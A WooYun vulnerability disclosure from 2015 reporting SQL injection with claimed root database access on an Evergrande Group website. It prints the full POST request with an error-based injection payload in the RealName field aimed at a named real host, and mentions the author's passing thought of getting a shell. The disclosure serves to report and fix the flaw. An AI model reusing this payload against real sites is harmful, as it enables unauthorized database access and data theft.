当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151953

漏洞标题：恒大集团官网存在SQL注入(多达80+库可拖）、root权限

相关厂商：恒大集团

漏洞作者： 霝z

提交时间：2015-11-05 12:43

修复时间：2015-12-20 12:44

公开时间：2015-12-20 12:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT，一排长长的hk_data_XXX好吓人。

详细说明：

1、注入点：

POST /sub.php?act=msg HTTP/1.1
Cache-Control: no-cache
Referer: http://fz.evergrande.com/msg.php
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36
Accept-Language: en-us,en;q=0.5
Host: fz.evergrande.com
Cookie: PHPSESSID=3f251r141cb5v46mu5c9nr8ib3
Accept-Encoding: gzip, deflate
Content-Length: 447
Content-Type: application/x-www-form-urlencoded
RealName=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&Telephone=&PersonalHome=&EMail=&Title=&Submit_button=%ef%bf%bd%ef%bf%bd+%ef%bf%bd%ef%bf%bd&Reset_button=%ef%bf%bd%ef%bf%bd+%ef%bf%bd%ef%bf%bd&Content=


2、注入参数：

pa.jpg


3、涉及可打包的DB：

db.jpg


4、其中一个columns：

co.jpg

漏洞证明：

1、root和其他users：

root.jpg


user.jpg


2、微信的admin：

wx.jpg


3、其他DB：

hash.jpg


原想搞shell，但还是算了，没学会扫尾怕被分分钟被教做人。

修复方案：

过滤
数据库不用给那么高权限
你们更专业！~

版权声明：转载请注明来源 霝z@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝